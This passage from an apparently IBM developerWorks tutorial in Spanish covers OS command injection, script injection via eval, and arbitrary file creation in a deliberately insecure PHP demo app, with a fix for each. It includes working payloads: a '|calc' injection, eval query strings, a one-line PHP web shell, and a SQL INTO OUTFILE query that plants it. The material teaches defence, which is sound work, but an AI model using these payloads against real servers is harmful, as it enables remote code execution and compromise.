Listado 26. Cuerpo de una solicitud maliciosa
------WebKitFormBoundaryFnGBYVe08wA8NMrs
Content-Disposition: form-data; name="firstname"

John
------WebKitFormBoundaryFnGBYVe08wA8NMrs
Content-Disposition: form-data; name="lastname"

Doe
------WebKitFormBoundaryFnGBYVe08wA8NMrs
Content-Disposition: form-data; name="newpassword1"


------WebKitFormBoundaryFnGBYVe08wA8NMrs
Content-Disposition: form-data; name="newpassword2"


------WebKitFormBoundaryFnGBYVe08wA8NMrs
Content-Disposition: form-data; name="picture"; filename="x.txt"
Content-Type: text/plain


------WebKitFormBoundaryFnGBYVe08wA8NMrs
Content-Disposition: form-data; name="userid"

2
------WebKitFormBoundaryFnGBYVe08wA8NMrs
Content-Disposition: form-data; name="imagecompression"

5|calc
------WebKitFormBoundaryFnGBYVe08wA8NMrs-

El valor pasado a la función del sistema se muestra aquí:
ping "C:\tools\xampp\tmp\php7533.tmp" 5|calc

Prevenga la inyección de comandos OS

Evite pasar entradas de usuario a funciones que ejecuten comandos de OS. Normalmente usted puede usar funciones API más seguras para lograr un resultado similar. Si no se puede adoptar un enfoque más seguro y se deben usar datos en los que no se confía para crear argumentos de línea de comandos, asegúrese de que el escape de los datos sea adecuado. La API PHP ofrece una función para escapar de caracteres peligrosos llamada escapeshellcmd. El Listado 27 muestra el código corregido de la preferencia de usuario.

Listado 27. Uso de escapeshellcmd para desinfectar la entrada de usuario
$compress_command = "ping $image " .
    escapeshellcmd($_REQUEST["imagecompression"]);

Al pasar la entrada de usuario a escapeshellcmd antes de pasarla al sistema, los caracteres maliciosos como el de conexión pueden depurarse.

La siguiente vulnerabilidad que se tratará a menudo tiene un resultado similar al de inyección de comandos de OS.


Inyección de lenguaje de scripting

Una vulnerabilidad de inyección de lenguaje de scripting está presente, cuando una entrada de usuario se interpreta como código. En muchos casos, esto conduce a comprometer el servidor puesto que el atacante puede ejecutar código sin contexto de seguridad en el proceso de intérprete.

Aprovechamiento

Como los datos ingresados por el usuario son pasados a la función eval , la funcionalidad de calculadora de la CMA es vulnerable a la inyección de lenguaje de scripting. Las entradas X y Y pueden ser usadas para ejecutar código arbitrario, pero como estas son de tipo número, deben evadir las restricciones del lado del cliente. Esta evasión se puede lograr utilizando un proxy de depuración Web:

/CMA/insecure/calculator.php?x=1&y=1;system(%22calc%22)&operation=operation-add

o creando la cadena de caracteres de consulta manualmente:

/CMA/insecure/calculator.php?x=1;system(%22calc%22);//&y=1&operation=operation-add

Los efectos de los ataques de inyección de scripting en el código evaluado son:
echo 1 + 1;system("calc"); y aquí: echo 1;system("calc");// + 1;

Prevenga inyección de lenguaje de scripting

Evite evaluar entradas de usuario como código. Las funcionalidades relevantes usualmente pueden crearse usando funciones API más seguras (este es el enfoque utilizado en el Listado 28). Si esto no se puede evitar, aplique validación estricta (mientras sea posible), y rechace cualquier entrada que se pueda considerar insegura. No intente depurar las entradas de usuario.

Listado 28. Lógica de calculadora reescrita
<?php

$x = $_GET["x"];
$y = $_GET["y"];

$operation = $_GET["operation"] == "operation-add" ?
    "+" : "-";
    
// Patched reflected XSS vulnerability
$arithmetic = htmlentities("$x $operation $y");

echo $arithmetic . " = ";

if ($operation == "+")
    echo $x + $y;
else
    echo $x - $y;

?>

Como se evita eval en el código actualizado, este es seguro frente a inyecciones de lenguaje de script.

La próxima sección explica cómo se puede aprovechar la creación arbitraria de archivos para tener un efecto similar.


Creación arbitraria de archivos

En muchas instancias, el resultado de la creación arbitraria de archivos es similar a la inyección de lenguaje de scripting un atacante puede crear un archivo con la extensión apropiada y luego accesar a este para ejecutar código arbitrario. El atacante puede lograr esto de muchas formas, y usted necesita tener cuidado cuando trabaje con cualquier funcionalidad que pueda aprovecharse para crear archivos. En algunos casos, esta funcionalidad puede combinarse con otras vulnerabilidades, como cruce de información de directorio, permitiendo al atacante causar más daño.

Aprovechamiento

Una forma de crear un archivo arbitrario es utilizar el recurso de foto de perfil de las preferencias de usuario para cargar un archivo PHP en lugar de una imagen. Un script simple puede proporcionar un shell remoto:
<?php system($_GET["CMD"]); ?>.
Después de que se carga, un atacante puede accesar al script para ejecutar comandos OS fácilmente:
http://localhost/CMA/insecure/images/shell.php?CMD=calc

Dependiendo de si hay una vulnerabilidad apropiada de inyección SQL presente y de la configuración del servidor, puede ser posible aprovechar SQL para crear un nuevo script. Dependiendo de los permisos del servidor SQL, puede ser posible utilizar cruce de información de directorios para sobrescribir archivos críticos de sistema, comprometiendo verdaderamente al servidor:
SELECT '<?php system($_GET["CMD"]); ?>' FROM dual INTO OUTFILE '../../htdocs/shell.php'

La primera columna de la consulta debería resultar conocida; en realidad es una cadena de caracteres literal que contiene el archivo malicioso en Creación arbitraria de archivos (vea el Listado 29).

Listado 29. La consulta de creación de shell inyectada a la CMA usando el operador UNION
http://localhost/CMA/insecure/search.php?query='and%201=0%20UNION%20SELECT
%20'%3C?php%20system($_GET[%22CMD%22]);%20?%3E',''%20FROM%20dual%20INTO%20OUTFILE
%20'../../htdocs/shell.php';%23

Usted puede descubrir rutas objetivo para este tipo de ataque mediante ensayo y error, o aprovechando una vulnerabilidad de fuga de información (que no se cubre en este tutorial) que revele la ruta absoluta de la raíz del documento.

Prevenga la creación arbitraria de archivos

Hasta donde sea posible, efectúe validación de lista blanca sobre las extensiones de cualquier archivo que los usuarios puedan crear. Este enfoque es el utilizado para corregir la CMA, como se muestra en el Listado 30 y en el Listado 31. Si no se puede implementar una corrección similar, use validación de lista negra para asegurarse que no se permitan extensiones maliciosas. Para Apache y PHP, este enfoque implica rechazar varias extensiones como PHP, PHTML y HTACCESS. Si la entrada es considerada maliciosa, rechácela; no intente desinfectar ningún dato cuestionable.

Listado 30. Una función de ayuda es utilizada para verificar que no haya envenenamiento por byte nulo
function IsNullPoisoned($string)
{
    return strpos($string, "\x00") != NULL;    
}

function IsValidImageExtension($file)
{
    $validExtensions = array(
        "jpg",
        "png",
        "gif"
    );
    
    if (IsNullPoisoned($file))            
        return FALSE;

    $ext = pathinfo($file, PATHINFO_EXTENSION);
    
    return in_array($ext, $validExtensions);        
}

La función IsNullPoisoned revisa la cadena de caracteres en busca de bytes nulos y retorna verdadero si la posición no es nula, mientras que la función IsValidImageExtension verifica para asegurarse que el nombre de archivo no esté envenenado con valor nulo y que su extensión esté en la lista blanca.

Listado 31. La funcionalidad de fotografía de usuario de la CMA con validación de extensión de archivo añadida
if (!IsValidImageExtension($_FILES["picture"]["name"]))
    die("Error uploading image.");

Para prevenir ataques, el nombre del archivo ingresado por el usuario se pasa a la función IsValidImageExtension , y si se retorna valor falso se termina el script.

Con PHP, recomiendo evitar filtros de extensión basados en expresiones regulares. El Listado 32 muestra una función de validación que puede ser evadida.

Listado 32. Validación de extensión insegura
function IsValidImageExtension($file)
{
    return preg_match('/\.(jpg|png|gif)$/i', $file);    
}

La implementación del Listado 32 previene algunos ataque, pero la función preg_match puede ser susceptible a envenenamiento por byte nulo: test.php%00test.jpg.

El Listado 33 muestra las contra-medidas para esto, pero debido a la complejidad añadida, evite esta ruta.

Listado 33. Validación basada en expresiones regulares corregidas
function IsValidImageExtension($file)
 {
     return !IsNullPoisoned($file) && preg_match('/\.(jpg|png|gif)$/i', $file);
 }

Revise el nombre de archivo en busca de envenenamiento por byte nulo antes de usar preg_match para evitar que un atacante inyecte el caracter de terminación de cadena de caracteres.

Asegúrese de poner parches a todas las vulnerabilidades de inyección de SQL para detener a los atacantes que usan funcionalidad de servidor de base de datos para manipular el sistema de archivos. Si la aplicación no requiere de tal funcionalidad, considere deshabilitar los recursos utilizando privilegios de base de datos. Siempre que sea posible, ejecute el servidor de base de datos en un servidor separado del servidor HTTP.

Para una capa adicional de seguridad, almacene los archivos cargados por el usuario por fuera del documento raíz o prohíba el acceso a los usuarios mediante el uso de recursos de servidor Web si el acceso directo es innecesario. Si algún atacante es capaz de evadir los filtros de extensión de archivo, este enfoque hace que el acceso al script malicioso y su ejecución sean más difíciles. No dé al cliente el control de decidir la carpeta de destino de la carga; de hacerlo, el atacante puede usar cruce de información de directorio (tratado antes en este tutorial) para almacenar el archivo en un directorio desprotegido.


Resumen

Como ya se mencionó, este tutorial en ninguna forma es integral. De hecho, no existe ninguna fuente de ese tipo debido al horizonte permanentemente cambiante de la seguridad de software. La mejor protección contra los atacantes que están en constante evolución es permanecer actualizados leyendo con regularidad sobre nuevas amenazas de seguridad. Para encontrar varias fuentes excelentes que examinan a profundidad por qué ocurren las vulnerabilidades y lo que se puede hacer para prevenirlas, vea Recursos. Recuerde así como un sistema no puede declararse libre de errores, tampoco puede considerarse completamente seguro.


Descargar

DescripciónNombretamaño
Tutorial source codeCMA-Source.zip9KB

Recursos

Aprender

  • Working with jQuery (Michael Abernethy, developerWorks, septiembre de 2008): Conozca a jQuery y aprenda a implementarlo en sus propios proyectos de aplicaciones Web, en esta buena introducción a la infraestructura JavaScript.
  • Introduction to jQuery Mobile (C. Enrique Ortiz, developerWorks, febrero de 2011): Encuentre más información sobre el desarrollo con jQuery Mobile.
  • Locking down your PHP applications (Thomas Myer, developerWorks, mayo de 2006): Aprenda más sobre cómo bloquear aplicaciones PHP y protegerse frente a las amenazas de seguridad más comunes: inyecciones de SQL, manipulación de las variables GET y POST, ataques de desbordamiento de almacenamiento intermedio, ataques de scripting entre sitios, manipulación de datos dentro del navegador y publicación de formularios remotos.
  • Seven habits for writing secure PHP applications (Nathan Good, developerWorks, septiembre de 2008): Aumente la seguridad de su aplicación Web con otro buen artículo sobre el fortalecimiento de la seguridad de aplicación PHP.
  • Overcome security threats for Ajax applications (Sachiko Yoshihama, Frederik De Keukelaere, Michael Steiner, Naohiko Uramoto; developerWorks, junio de 2007): Aprenda más sobre ataques del lado del cliente y sobre cómo evitar algunos de los ataques más comunes.
  • Packet Storm: Explore una excelente fuente para vulnerabilidades, asesorías y herramientas, tanto nuevas como antiguas.
  • The Web Application Hacker's Handbook (Dafydd Stuttard y Marcus Pinto, Wiley, octubre de 2007): Obtenga una perspectiva más amplia de la seguridad de aplicaciones Web en esta guía práctica para encontrar y aprovechar fallas de seguridad.
  • The Open Web Application Security Project (OWASP): Encuentre una gran cantidad de información relevante y herramientas para mejorar la seguridad del software de aplicaciones.
  • Common Vulnerabilities and Exposures (CVE): Explore una buena fuente de información sobre vulnerabilidades y exposiciones de seguridad de la información conocidas públicamente.
  • The Open Source Vulnerability Database: Examine otra fuente de información pública sobre vulnerabilidad similar a CVE.
  • jQuery Mobile: Visite la página principal de un sistema de interfaz de usuario unificado transversal a todas las plataformas populares de dispositivos móviles, construida sobre las sólidas bases de jQuery y jQuery UI.
  • jQuery Mobile: Demos and Documentation: Accese a artículos, APIs y código demostrativo para esta infraestructura Web optimizada en lo táctil, para teléfonos inteligentes y pizarras digitales.
  • jQuery.org: Visite la página principal del equipo de fuente abierta jQuery.
  • Mobile Design and Development (Brian Fling, O'Reilly Media, agosto de 2009): Explore lineamientos prácticos, estándares, técnicas y mejores prácticas para construir productos móviles.
  • Área XML en developerWorks: Obtenga los recursos que usted necesita para avanzar en la arena XML.
  • Zona de fuente abierta developerWorks: Encuentre información extensa "cómo hacer", herramientas y actualizaciones de proyectos para ayudarle a desarrollar con las tecnologías de fuente abierta, y utilícelas con productos IBM, así como nuestros artículos y tutoriales más populares.
  • Certificación IBM XML: Conozca cómo puede usted convertirse en un Desarrollador Certificado IBM en XML y en tecnologías relacionadas.
  • Biblioteca técnica XML: Visite la Zona XML developerWorks para un amplio rango de artículos técnicos y consejos, tutoriales, estándares y Redbooks IBM. Lea además otros consejos XML.
  • Eventos técnicos y webcasts de developerWorks: Manténgase actualizado(a) con la tecnología en estas sesiones.
  • developerWorks en Twitter: Únase hoya para seguir los tweets developerWorks.
  • developerWorks podcasts: Escuche interesantes entrevistas y discusiones para desarrolladores de software.
  • demostraciones developerWorks on-demand: Observe demostraciones que van desde la instalación de productos y demostraciones de configuración para principiantes, hasta funcionalidades avanzadas para desarrolladores experimentados.

Obtener los productos y tecnologías

  • The jQuery Mobile CDN: Obtenga jQuery Mobile rápidamente con versiones ya minimizadas y comprimidas de jQuery Mobile.
  • MAMP: Mac - Apache - MySQL - PHP: Obtenga e instale un entorno de servidor local basado en Mac para entornos Apache, MySQL y PHP.
  • XAMPP: Obtenga una Distribución Apache muy fácil de instalar para Linux®, Solaris, Windows y Mac OS X. El paquete incluye el servidor Web Apache, MySQL, PHP, Perl, un servidor FTP y phpMyAdmin.
  • Fiddler: Descargue y pruebe un proxy de depuración Web que registra todo el tráfico HTTP(S) entre su computadora e Internet.
  • versiones de evaluación de productos IBM: Descargue o explore las pruebas en línea en el re cinto de seguridad IBM SOA y ponga sus manos en herramientas de desarrollo de aplicaciones y en productos de middleware de DB2®, Lotus®, Rational®, Tivoli® y WebSphere®.

Comentar

Comentarios

developerWorks: Ingrese

Los campos obligatorios están marcados con un asterisco (*).


¿Necesita un IBM ID?
¿Olvidó su IBM ID?


¿Olvidó su Password?
Cambie su Password

Al hacer clic en Enviar, usted está de acuerdo con los términos y condiciones de developerWorks.

 


La primera vez que inicie sesión en developerWorks, se creará un perfil para usted. La información en su propio perfil (nombre, país/región y nombre de la empresa) se muestra al público y acompañará a cualquier contenido que publique, a menos que opte por la opción de ocultar el nombre de su empresa. Puede actualizar su cuenta de IBM en cualquier momento.

Toda la información enviada es segura.

Elija su nombre para mostrar



La primera vez que inicia sesión en developerWorks se crea un perfil para usted, teniendo que elegir un nombre para mostrar en el mismo. Este nombre acompañará el contenido que usted publique en developerWorks.

Por favor elija un nombre de 3 - 31 caracteres. Su nombre de usuario debe ser único en la comunidad developerWorks y debe ser distinto a su dirección de email por motivos de privacidad.

Los campos obligatorios están marcados con un asterisco (*).

(Por favor elija un nombre de 3 - 31 caracteres.)

Al hacer clic en Enviar, usted está de acuerdo con los términos y condiciones de developerWorks.

 


Toda la información enviada es segura.


static.content.url=http://www.ibm.com/developerworks/js/artrating/
SITE_ID=90
Zone=Linux
ArticleID=680830
ArticleTitle=Mejore la seguridad de las aplicaciones Web con jQuery Mobile
publish-date=06142011